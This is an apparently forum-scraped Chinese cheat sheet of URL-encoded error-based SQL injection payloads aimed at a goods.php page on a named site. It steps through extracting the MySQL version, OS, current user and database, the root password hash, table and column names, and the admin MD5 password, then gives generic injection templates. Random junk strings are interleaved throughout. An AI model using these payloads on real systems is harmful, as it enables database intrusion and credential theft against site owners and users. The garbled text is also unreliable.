判断版本号
. F0 S5 @7 s+ M6 x: jhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 H1 l6 I2 e8 l" D3 ^. Y+ Y
5 m& H" e$ V- E7 T6 X, j( X判断系统
+ F2 s; L0 e' R! n5 Q7 D- f0 r2 O8 c6 V3 S; `
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%234 I5 ?, g4 z; |- k2 I
4 C* A/ ]3 k+ z6 `+ b, M; s! u2 {4 Q
6 y' E9 m4 \ m7 O' S. o* i( z( l* z4 P7 n/ S6 x- @
当前 user()
, D" O2 k9 ]& K8 A) Z3 N# i7 R" b' }! B8 W3 Z4 ?) f
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; y& b7 N- Z1 N5 e1 T: ]0 e$ E. F2 K
8 G7 l0 r* P. h+ S: S* ~2 ^5 C& c* s2 a
1 v- B3 p$ b& [/ O- p当前 database()5 X- u" J# o8 c- s
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23& e- c5 l" k9 A. Q% d
& r5 C) v. `7 L$ Q) ]! b, w7 n
, `' H( k8 [0 C& H6 d
2 a+ V+ y6 o% `/ O' N. S
* D/ O8 u. v; Z# croot hash/ X8 q: \' |( |4 C3 l h0 S; D$ D: u
5 r7 k* O8 ?1 \
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
# b' x, v# I8 i; W# h1 k
0 s9 r( k; }' T L0 Y' e; P+ x1 V8 N7 M0 i
$ Z h, g/ J' t$ ]
当前 数据库表名! D: F' w e2 d9 B
* q- e' K+ f9 u# Y( W
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" Z3 ?5 C" n, a. ~2 ~" K/ O3 p. j, g" l' M/ D5 I _
5 O% L8 K! Q" s3 j; e# O1 d
/ e. C" }9 m9 R) s7 Y, G当前 数据库 user_name 字段5 L* t* w# n* F/ x' u& i3 s9 F
: P `* B. Y0 N8 ?6 z3 U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 v6 Q& J6 ?+ n% u. R; J, z2 u$ ~
当前 数据库 字段 password# F* ]* i3 X4 s! b
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 y9 U& i7 g) ~3 ^$ k/ k2 E* B
( N% P8 C8 P: Y- a+ O8 w
! p: @0 B7 `+ W$ y6 D- i获得 admin passwd(md5)
9 t F ~; Q1 M5 L7 }' y+ r# m* K0 d; s$ _7 B# M* ^0 ^
! s/ q/ b4 O- Ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23% v% M1 N2 ^0 B, Z1 f2 s5 x0 C
k9 @7 B! _ c" @/ e/ i. T报错注射
; K0 ~) v* [" W; [& K' }- U( ?SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)6 d2 U, i/ {# e9 r7 B; B
( [5 j3 c3 T& v5 ?, f! T' TSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a): g5 c% v" x& n" j
( S' Y1 L" P+ e0 N1 y+ e# W
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |